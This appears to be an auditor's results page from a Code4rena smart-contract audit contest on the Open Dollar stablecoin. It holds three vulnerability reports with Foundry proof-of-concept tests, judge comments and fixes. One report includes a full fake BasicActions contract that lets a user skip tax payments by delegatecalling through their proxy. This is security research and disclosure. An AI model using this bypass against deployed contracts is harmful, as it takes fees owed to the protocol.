Open Dollar - yashar's results

A floating $1.00 pegged stablecoin backed by Liquid Staking Tokens with NFT controlled vaults.

General Information

Platform: Code4rena

Start Date: 18/10/2023

Pot Size: $36,500 USDC

Total HM: 17

Participants: 77

Period: 7 days

Judge: MiloTruck

Total Solo HM: 5

Id: 297

League: ETH

Open Dollar

Findings Distribution

Researcher Performance

Rank: 3/77

Findings: 3

Award: $2,468.82

🌟 Selected for report: 1

🚀 Solo Findings: 1

Findings Information

🌟 Selected for report: 0xAadi

Also found by: 0xDemon, 0xlemon, 0xprinc, Arz, Giorgio, Greed, MrPotatoMagic, T1MOH, btk, ge6a, m4k2, nmirchev8, perseus, xAriextz, yashar

Awards

21.9995 USDC - $22.00

Labels

bug
2 (Med Risk)
satisfactory
sufficient quality report
duplicate-429

External Links

Lines of code

https://github.com/open-dollar/od-contracts/blob/f4f0246bb26277249c1d5afe6201d4d9096e52e6/src/contracts/proxies/ODSafeManager.sol#L105

Vulnerability details

Impact

The presence of the safeAllowed(_safe) modifier, combined with the context change during delegate calls, results in transaction reversion when the proxy owner attempts to access the allowSAFE function, as the SAFE owner is the proxy and not the proxy owner.

Proof of Concept

Due to the presence of safeAllowed(_safe) modifier, only the owner of a SAFE is able to call the allowSAFE function, and the owner of a safe is the ODProxy. Given that the ODProxy is only able to make a delegatecall to the target, so the ODSafeManager will be triggered in the context of the ODProxy and in this scenario the msg.sender is the EOA (Proxy Owner) that has called the proxy and not the proxy itself, so the transaction will revert because the owner of the SAFE is the proxy and not the owner of the proxy.

To test the scenario copy/paste the following test function in NFT.t.sol. Command: forge test --fork-url $ANVIL_RPC --match-test test_CallAllowSAFE

function test_CallAllowSAFE() public { address proxy = proxies[1]; bytes32 cType = cTypes[1]; uint256 vaultId = vaultIds[proxy][cType]; address charlie = vm.addr(10); bytes memory payload = abi.encodeWithSelector( safeManager.allowSAFE.selector, vaultId, charlie, 1 ); // User BOB calls the proxy, and the proxy makes a delegatecall to allowSAFE but the transaction reverts because // when the proxy delegatecalls the allowSAFE, allowSAFE will be invoked in the context of the proxy contract, so the msg.sender here is BOB // and not the proxy itself to pass the safeAllowed(_safe) check vm.expectRevert(); vm.prank(users[1]); ODProxy(proxy).execute(address(safeManager), payload); }

Tools Used

VSCode Foundry

Define a mechanism within BasicActions to call the allowSAFE

+ function callAllowSAFE(address _manager, uint256 _safeId, address _usr, uint256 _ok) external { + ODSafeManager(_manager).allowSAFE(_safeId, _usr, _ok); + }

Assessed type

Context

#0 - c4-pre-sort

2023-10-26T17:04:49Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2023-10-26T17:05:06Z

raymondfam marked the issue as duplicate of #76

#2 - c4-pre-sort

2023-10-26T19:04:52Z

raymondfam marked the issue as duplicate of #380

#3 - c4-judge

2023-11-02T18:10:50Z

MiloTruck marked the issue as not a duplicate

#4 - c4-judge

2023-11-02T18:11:02Z

MiloTruck marked the issue as primary issue

#5 - c4-judge

2023-11-08T00:21:58Z

MiloTruck marked issue #429 as primary and marked this issue as a duplicate of 429

#6 - MiloTruck

2023-11-08T00:26:01Z

This report assumes that ODProxy delegate call directly into the ODSafeManager contract, and doesn't highlight the key issue which is that BasicActions.sol has missing functions.

#7 - c4-judge

2023-11-08T00:26:01Z

MiloTruck marked the issue as unsatisfactory: Insufficient proof

#8 - c4-judge

2023-11-11T08:18:39Z

MiloTruck removed the grade

#9 - c4-judge

2023-11-11T08:19:01Z

MiloTruck marked the issue as satisfactory

Findings Information

🌟 Selected for report: hals

Also found by: 0xprinc, nmirchev8, perseus, yashar

Labels

bug
2 (Med Risk)
downgraded by judge
low quality report
satisfactory
duplicate-381

Awards

224.3342 USDC - $224.33

External Links

Lines of code

https://github.com/open-dollar/od-contracts/blob/f4f0246bb26277249c1d5afe6201d4d9096e52e6/src/contracts/proxies/Vault721.sol#L126

Vulnerability details

Impact

Due to the presence of _safeId, a state variable responsible for SAFE IDs that should always correspond to the same NFT ID, in the case when the DAO updates the safeManager, the _safeId will be set to zero which will disrupt the protocols accounting, and potentially lead to a denial-of-service.

Proof of Concept

Let's say after a few month of protocols launching, while many NFTs are minted, the DAO decides to update the safeManager and calls the Vault721.sol::setSafeManager() with the newly deployed safeManagers address, after updating the safeManager, a user wants to open a SAFE, he/she calls the ODSafeManager.sol::openSAFE(), the newly deployed safeManager opens a SAFE with the id of 1 and calls the Vault721.sol::mint() with the same id which is 1, but the transaction will revert due to ERC721: token already minted error because there is a mismatch between _safeId which is 1 and the NFT tokenId which is for example 1000.

To test the scenario first add 2 following imports in NFT.t.sol:

+ import {ODSafeManager} from '@contracts/proxies/ODSafeManager.sol';
+ import {ODProxy} from '@contracts/proxies/ODProxy.sol';

Then copy/paste the following test function in NFT.t.sol and run command: forge test --fork-url $ANVIL_RPC --match-test test_UpdateSafeManager

function test_UpdateSafeManager() public { address alice = users[0]; address bob = users[1]; bytes32 cType = cTypes[0]; address aliceProxy = vault721.getProxy(alice); address bobProxy = vault721.getProxy(bob); uint256 safe; // Alice opens a SAFE and an NFT will be minted with id let's say 2 vm.prank(alice); safe = openSafe(cType, aliceProxy); console.log(safe); // DAO updates the SafeManager but new deployed SafeManager doesn't know anything about the already created SAFEs ODSafeManager newSafeManager = new ODSafeManager(address(safeEngine), address(vault721)); vm.prank(ODGovernor_Address); vault721.setSafeManager(address(newSafeManager)); // Bob tries to open a SAFE but his transaction will revert because a token with the same id is already minted vm.prank(bob); vm.expectRevert("ERC721: token already minted"); newSafeManager.openSAFE(cType, bobProxy); }

Tools Used

VSCode Foundry

Define a mechanism to move the old safeManager's state to the newly deployed safeManager or use proxy patterns

Assessed type

DoS

#0 - c4-pre-sort

2023-10-26T17:49:12Z

raymondfam marked the issue as low quality report

#1 - c4-pre-sort

2023-10-26T17:49:40Z

raymondfam marked the issue as duplicate of #37

#2 - c4-judge

2023-11-01T20:29:03Z

MiloTruck marked the issue as not a duplicate

#3 - c4-judge

2023-11-01T20:32:13Z

MiloTruck marked the issue as duplicate of #233

#4 - MiloTruck

2023-11-02T07:43:30Z

@pi0neerpat can I check if you were aware of this issue beforehand, and how are you intending to mitigate this?

I'm not sure if I should consider this a bug since the issue of a new ODSafeManager not having the state of the previous contract can be addressed in the new contract itself (eg. add functions in the new ODSafeManager imeplementation to set _safeId, _safeData, etc... to the same values as the current one).

According to that logic, the current codebase in scope is completely fine and there isn't anything that needs to be changed.

#5 - pi0neerpat

2023-11-07T23:17:43Z

I don't think we reviewed this one yet.

We agree the assessment is correct and this is a bug. However we don't plan on migrating the SafeManager, so likely we won't implement a fix.

#6 - c4-judge

2023-11-08T00:07:37Z

MiloTruck changed the severity to 2 (Med Risk)

#7 - c4-judge

2023-11-08T00:12:16Z

MiloTruck marked the issue as satisfactory

Findings Information

🌟 Selected for report: yashar

Labels

bug
2 (Med Risk)
downgraded by judge
primary issue
satisfactory
selected for report
sponsor confirmed
sufficient quality report
edited-by-warden
M-07

Awards

2222.4853 USDC - $2,222.49

External Links

Lines of code

https://github.com/open-dollar/od-contracts/blob/f4f0246bb26277249c1d5afe6201d4d9096e52e6/src/contracts/proxies/actions/BasicActions.sol#L181

Vulnerability details

Impact

Users can interact with the protocol without paying any taxes

Proof of Concept

Whenever a user wants to interact with the protocol (E.g: lock collateral, generate debt, repay debt, etc) he/she should make a call to their proxy contract and the proxy contract will make a delegatecall to BasicActions contract. BasicActions contract will calculate and pay the tax on every:

Given that this is a delegatecall to BasicActions contract and it can be any other contract, a malicious user will be able to deploy a Fake BasicActions contract that doesn't contain any Tax payment mechanism and simply bypass the Tax payment.

To test the scenario please make a file named FakeBasicActions.sol in this path: test/nft/anvil and copy/paste the following contract code that has no Tax payment mechanism in it:

// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.19; import {ODSafeManager} from '@contracts/proxies/ODSafeManager.sol'; import {ODProxy} from '@contracts/proxies/ODProxy.sol'; import {ISAFEEngine} from '@interfaces/ISAFEEngine.sol'; import {ICoinJoin} from '@interfaces/utils/ICoinJoin.sol'; import {ITaxCollector} from '@interfaces/ITaxCollector.sol'; import {ICollateralJoin} from '@interfaces/utils/ICollateralJoin.sol'; import {IERC20Metadata} from '@openzeppelin/token/ERC20/extensions/IERC20Metadata.sol'; import {IBasicActions} from '@interfaces/proxies/actions/IBasicActions.sol'; import {Math, WAD, RAY, RAD} from '@libraries/Math.sol'; import {CommonActions} from '@contracts/proxies/actions/CommonActions.sol'; contract FakeBasicActions { using Math for uint256; function lockTokenCollateralAndGenerateDebt( address _manager, address _taxCollector, address _collateralJoin, address _coinJoin, uint256 _safeId, uint256 _collateralAmount, uint256 _deltaWad ) public { address _safeEngine = ODSafeManager(_manager).safeEngine(); ODSafeManager.SAFEData memory _safeInfo = ODSafeManager(_manager).safeData(_safeId); // Takes token amount from user's wallet and joins into the safeEngine _joinCollateral(_collateralJoin, _safeInfo.safeHandler, _collateralAmount); // Locks token amount into the SAFE and generates debt _modifySAFECollateralization( _manager, _safeId, _collateralAmount.toInt(), _getGeneratedDeltaDebt(_safeEngine, _safeInfo.collateralType, _safeInfo.safeHandler, _deltaWad) ); // Exits and transfers COIN amount to the user's address _collectAndExitCoins(_manager, _coinJoin, _safeId, _deltaWad); } function generateDebt( address _manager, address _taxCollector, address _coinJoin, uint256 _safeId, uint256 _deltaWad ) public { address _safeEngine = ODSafeManager(_manager).safeEngine(); ODSafeManager.SAFEData memory _safeInfo = ODSafeManager(_manager).safeData(_safeId); // Generates debt in the SAFE _modifySAFECollateralization( _manager, _safeId, 0, _getGeneratedDeltaDebt(_safeEngine, _safeInfo.collateralType, _safeInfo.safeHandler, _deltaWad) ); // Moves the COIN amount to user's address _collectAndExitCoins(_manager, _coinJoin, _safeId, _deltaWad); } function _modifySAFECollateralization( address _manager, uint256 _safeId, int256 _deltaCollateral, int256 _deltaDebt ) internal { ODSafeManager(_manager).modifySAFECollateralization(_safeId, _deltaCollateral, _deltaDebt); } function _getGeneratedDeltaDebt( address _safeEngine, bytes32 _cType, address _safeHandler, uint256 _deltaWad ) internal view returns (int256 _deltaDebt) { uint256 _rate = ISAFEEngine(_safeEngine).cData(_cType).accumulatedRate; uint256 _coinAmount = ISAFEEngine(_safeEngine).coinBalance(_safeHandler); // If there was already enough COIN in the safeEngine balance, just exits it without adding more debt if (_coinAmount < _deltaWad * RAY) { // Calculates the needed deltaDebt so together with the existing coins in the safeEngine is enough to exit wad amount of COIN tokens _deltaDebt = ((_deltaWad * RAY - _coinAmount) / _rate).toInt(); // This is neeeded due lack of precision. It might need to sum an extra deltaDebt wei (for the given COIN wad amount) _deltaDebt = uint256(_deltaDebt) * _rate < _deltaWad * RAY ? _deltaDebt + 1 : _deltaDebt; } } function _collectAndExitCoins(address _manager, address _coinJoin, uint256 _safeId, uint256 _deltaWad) internal { // Moves the COIN amount to proxy's address _transferInternalCoins(_manager, _safeId, address(this), _deltaWad * RAY); // Exits the COIN amount to the user's address _exitSystemCoins(_coinJoin, _deltaWad * RAY); } function _transferInternalCoins(address _manager, uint256 _safeId, address _dst, uint256 _rad) internal { ODSafeManager(_manager).transferInternalCoins(_safeId, _dst, _rad); } function _exitSystemCoins(address _coinJoin, uint256 _coinsToExit) internal virtual { if (_coinsToExit == 0) return; ICoinJoin __coinJoin = ICoinJoin(_coinJoin); ISAFEEngine __safeEngine = __coinJoin.safeEngine(); if (!__safeEngine.canModifySAFE(address(this), _coinJoin)) { __safeEngine.approveSAFEModification(_coinJoin); } // transfer all coins to msg.sender (proxy shouldn't hold any system coins) __coinJoin.exit(msg.sender, _coinsToExit / RAY); } function _joinCollateral(address _collateralJoin, address _safe, uint256 _wad) internal { ICollateralJoin __collateralJoin = ICollateralJoin(_collateralJoin); IERC20Metadata _token = __collateralJoin.collateral(); // Transforms the token amount into ERC20 native decimals uint256 _decimals = _token.decimals(); uint256 _wei = _wad / 10 ** (18 - _decimals); if (_wei == 0) return; // Gets token from the user's wallet _token.transferFrom(msg.sender, address(this), _wei); // Approves adapter to take the token amount _token.approve(_collateralJoin, _wei); // Joins token collateral into the safeEngine __collateralJoin.join(_safe, _wei); } }

And also make another file called NinjaTests.t.sol in this path: test/nft/anvil and copy/paste the following test code in it:

// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.19; import 'forge-std/Test.sol'; import {AnvilFork} from '@test/nft/anvil/AnvilFork.t.sol'; import {WSTETH, ARB, CBETH, RETH, MAGIC} from '@script/GoerliParams.s.sol'; import {IERC20} from '@openzeppelin/token/ERC20/IERC20.sol'; import {SafeERC20} from '@openzeppelin/token/ERC20/utils/SafeERC20.sol'; import {Vault721} from '@contracts/proxies/Vault721.sol'; import {IODSafeManager} from '@interfaces/proxies/IODSafeManager.sol'; import {ISAFEEngine} from '@interfaces/ISAFEEngine.sol'; import {ODSafeManager} from '@contracts/proxies/ODSafeManager.sol'; import {ODProxy} from '@contracts/proxies/ODProxy.sol'; import {FakeBasicActions} from '@test/nft/anvil/FakeBasicActions.sol'; contract NinjaTests is AnvilFork { using SafeERC20 for IERC20; FakeBasicActions fakeBasicActions; function test_setup() public { assertEq(totalVaults, vault721.totalSupply()); checkProxyAddress(); checkVaultIds(); } function test_GenerateDebtWithoutTax() public { fakeBasicActions = new FakeBasicActions(); address proxy = proxies[1]; bytes32 cType = cTypes[1]; uint256 vaultId = vaultIds[proxy][cType]; bytes memory payload = abi.encodeWithSelector( fakeBasicActions.lockTokenCollateralAndGenerateDebt.selector, address(safeManager), address(taxCollector), address(collateralJoin[cType]), address(coinJoin), vaultId, 1, 0 ); vm.startPrank(users[1]); // Proxy makes a delegatecall to Malicious BasicAction contract and bypasses the TAX payment ODProxy(proxy).execute(address(fakeBasicActions), payload); genDebt(vaultId, 10, proxy); vm.stopPrank(); IODSafeManager.SAFEData memory sData = safeManager.safeData(vaultId); address safeHandler = sData.safeHandler; ISAFEEngine.SAFE memory SafeEngineData = safeEngine.safes(cType, safeHandler); assertEq(1, SafeEngineData.lockedCollateral); assertEq(10, SafeEngineData.generatedDebt); } }

Test commands: forge test --fork-url $ANVIL_RPC --match-test test_GenerateDebtWithoutTax

Tools Used

VSCode Foundry

Move the Tax payment mechanism into ODSafeManager contract E.g:

  function modifySAFECollateralization(
    uint256 _safe,
    int256 _deltaCollateral,
    int256 _deltaDebt
  ) external safeAllowed(_safe) {
+   ODSafeManager.SAFEData memory _safeInfo = _safeData[_safe];
+   ITaxCollector(_taxCollector).taxSingle(_safeInfo.collateralType);
    SAFEData memory _sData = _safeData[_safe];
    ISAFEEngine(safeEngine).modifySAFECollateralization(
      _sData.collateralType, _sData.safeHandler, _sData.safeHandler, _sData.safeHandler, _deltaCollateral, _deltaDebt
    );
    emit ModifySAFECollateralization(msg.sender, _safe, _deltaCollateral, _deltaDebt);
  }

Assessed type

call/delegatecall

#0 - c4-pre-sort

2023-10-26T16:45:30Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2023-10-26T16:45:36Z

raymondfam marked the issue as primary issue

#2 - c4-sponsor

2023-10-27T22:36:04Z

pi0neerpat (sponsor) confirmed

#3 - c4-judge

2023-11-02T10:27:54Z

MiloTruck changed the severity to 2 (Med Risk)

#4 - c4-judge

2023-11-02T10:27:59Z

MiloTruck marked the issue as satisfactory

#5 - c4-judge

2023-11-02T10:28:06Z

MiloTruck marked the issue as selected for report

#6 - MiloTruck

2023-11-02T10:31:37Z

The warden has demonstrated how users can bypass tax collection by interacting with ODSafeManager through their own implementation contracts. Since this results in a loss of yield (protocol fees) and not assets (user funds), I believe medium severity is appropriate.

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter